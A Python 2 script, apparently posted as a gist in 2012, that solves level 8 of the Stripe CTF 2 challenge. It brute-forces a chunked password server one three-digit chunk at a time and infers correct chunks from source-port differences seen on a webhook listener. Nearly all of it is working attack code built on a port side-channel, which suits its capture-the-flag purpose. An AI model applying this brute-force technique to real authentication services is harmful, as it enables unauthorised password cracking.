Created
August 29, 2012 19:18
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Stripe-CTF2-level8
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import string | |
import httplib2 | |
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer | |
import random | |
# Configuration | |
webhook_port = 55555; | |
webhook_addr = "localhost"; | |
PasswordDB_addr = "localhost"; | |
PasswordDB_path = "/" | |
PasswordDB_port = "5555" | |
proto = "http" | |
if 0: | |
webhook_addr = "level02-4.stripe-ctf.com"; | |
PasswordDB_addr = "level08-3.stripe-ctf.com"; | |
PasswordDB_path = "/user-mlsbirqhlf/"; | |
PasswordDB_port = "443" | |
proto = "https" | |
chunks = ["", "", "", ""] | |
chunk = 0 | |
possible_chunk_vals = range(999); | |
attempt = random.choice(possible_chunk_vals) | |
latest_port = 0; | |
loop_count = 0 | |
conn = httplib2.Http(disable_ssl_certificate_validation=True) | |
def chunk_render(cur="000"): | |
global chunks, chunk | |
out = ""; | |
cur = str(cur) | |
for i in range(len(chunks)): | |
if i == chunk: | |
out += cur.zfill(3) | |
elif i > chunk: | |
out += "000" | |
else: | |
out += str(chunks[i]).zfill(3) | |
return out | |
class MyHandler(BaseHTTPRequestHandler): | |
def log_message(self, format, *args): | |
return | |
def do_POST(self): | |
global latest_port, loop_count | |
content_length = int(self.headers['Content-Length']) | |
self.send_response(200) | |
self.send_header('Content-type', 'text/plain') | |
self.end_headers() | |
port_diff = self.client_address[1] - latest_port | |
latest_port = self.client_address[1] | |
if chunk == 3: | |
if content_length == 18: | |
possible_chunk_vals.remove(attempt) | |
loop_count = 0 | |
newAttempt() | |
else: | |
print " -- Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag! Flag!" | |
print "[" + chunk_render(attempt) + "]" | |
else: | |
if len(possible_chunk_vals) == 1 or loop_count == 3: | |
print "SUCCESS: " + str(attempt).zfill(3) | |
nextChunk(); | |
if port_diff == 2 + chunk: | |
possible_chunk_vals.remove(attempt) | |
loop_count = 0 | |
elif port_diff == 3 + chunk: | |
print " -- [Potential Match: "+str(attempt).zfill(3)+"] -- [Diff: " + str(port_diff) + "] -- [Remaining: "+str(len(possible_chunk_vals))+"]" | |
loop_count += 1 | |
else: | |
print " -- [Jitter]" | |
newAttempt() | |
return | |
pass | |
def nextChunk(): | |
global chunks, chunk, possible_chunk_vals, loop_count | |
chunks[chunk] = attempt | |
chunk += 1 | |
loop_count = 0 | |
possible_chunk_vals = range(999); | |
def newAttempt(): | |
global webhook_addr, PasswordDB_addr, PasswordDB_path, PasswordDB_port, attempt, possible_chunk_vals, conn | |
if loop_count == 0: | |
attempt = random.choice(possible_chunk_vals) | |
password_attempt = chunk_render(attempt) | |
conn.request(proto + "://" + PasswordDB_addr + ":" + str(PasswordDB_port) + PasswordDB_path, "POST", '{"password": "' + password_attempt + '", "webhooks": ["'+webhook_addr+':'+str(webhook_port)+'"] }') | |
def main(): | |
global webhook_port, PasswordDB_addr, PasswordDB_path, PasswordDB_port | |
server = HTTPServer(('', webhook_port), MyHandler) | |
print "to Start: $ curl " + proto + "://" + PasswordDB_addr + ":" + str(PasswordDB_port) + PasswordDB_path +" -d '{\"password\": \"" + chunk_render() + "\", \"webhooks\": [\""+ webhook_addr + ":" + str(webhook_port) + "\"]}' " | |
server.serve_forever() | |
if __name__ == '__main__': | |
main() |
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